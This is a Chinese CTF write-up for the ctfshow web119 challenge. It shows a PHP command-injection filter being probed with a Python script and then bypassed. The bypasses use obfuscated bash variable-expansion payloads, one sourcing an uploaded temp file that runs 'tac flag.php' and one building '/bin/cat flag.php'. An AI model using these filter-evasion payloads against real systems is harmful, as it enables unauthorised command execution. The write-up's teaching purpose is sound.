当前位置: 首页 > news >正文

[ctfshow web入门] web119

信息收集

import requestsurl = "http://51a7e437-2e66-4742-bbfe-e4cce44e360b.challenge.ctf.show/"
for i in range(255):data = {"code": f"{chr(i)}"}response = requests.post(url, data=data)# print(len(response.text))# print(response.text)if len(response.text) == 489:print(f"{hex(i)}: {chr(i)}")

用上面的代码试试过滤了多少字符,之前用的burpsuite,还得我一个个对照ascii码表查看什么过滤掉了,自己写的脚本没多复杂更省事

%09 %0a
! " % & ' ( ) * + , - /
0-9
< = > [ \ ] ^ `
a-z
|

我在做题的时候明明没有包含上述字符,但还是evil input,又测试了一下

解题

临时文件上传

上一题的临时上传文件依然能用

import requests
from time import sleepurl = "http://8e524b2c-2846-42f6-879c-0ea2627207dc.challenge.ctf.show/"  # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = ". ${HOME:${#}:${#SHLVL}}???${HOME:${#}:${#SHLVL}}?${HOME:${#SHLVL}:${#SHLVL}}??????A"
file = { "file": "tac flag.php" }
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, files=file, data=data)if (len(response.text)) != 479:print(response.text)print(len(response.text))breakprint(i, end=" ")sleep(0.3)

截图里的post_url我就不改了,反正没影响,这是抄之前代码没好好读造成的

在这里插入图片描述

构造命令

之前构造的那些命令不能使用了,是因为PATH被过滤了,需要重新构造

$PWD		/var/www/html
$HOME		/home/www-data
${#SHLVL}	1,$SHLVL是2,表示有两个打开的bash,一般不会超过9
${##}		1,size('0')不就是1吗

就是答案给的/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web118    目录    web120

http://www.dtcms.com/a/198273.html

相关文章:

  • 软件设计师CISC与RISC考点分析——求三连
  • 算法加训之最短路 上(dijkstra算法)
  • <前端小白> 前端网页知识点总结
  • 10.13 LangChain工具调用实战:@tool装饰器+小样本提示,日处理10w+调用秘籍
  • 3Dmax中用RayFire实现破碎动画效果
  • 机器学习(13)——LGBM(2)
  • 用Colab启动Streamlit应用
  • 机器学习 Day18 Support Vector Machine ——最优美的机器学习算法
  • 板凳-------Mysql cookbook学习 (三)
  • c/c++的opencv直方图初识
  • ADB基本操作和命令
  • 深入理解 OpenCV 的 DNN 模块:从基础到实践
  • 顺 序 表:数 据 存 储 的 “ 有 序 阵 地 ”
  • 计算机网络概要
  • 牛客网NC276055:三根木棒能否组成三角形问题详解(ACM中的A题)
  • 【从基础到模型网络】深度学习-语义分割-ROI
  • OceanBase数据库-租户
  • 小米汽车:新能源赛道的破局者与变革者
  • UE5无法编译问题解决
  • 抖音视频下载工具 v1.1 自用分享
  • 【Python 算法零基础 4.排序 ① 选择排序】
  • 为何选择Python:全面解析其优势与发展前景
  • Linux下载国外软件镜像的加速方法(以下载Python-3.8.0.tgz为例)
  • Java可变参数与Collections工具类详解
  • 系统架构设计师考前冲刺笔记-第1章-系统工程与信息系统基础
  • 深入解析Java事件监听机制与应用
  • GOP模式调节画面质量讲解
  • 【ROS2】 核心概念6——通信接口语法(Interfaces)
  • 【QGIS二次开发】地图编辑-07
  • LWIP的NETCONN接口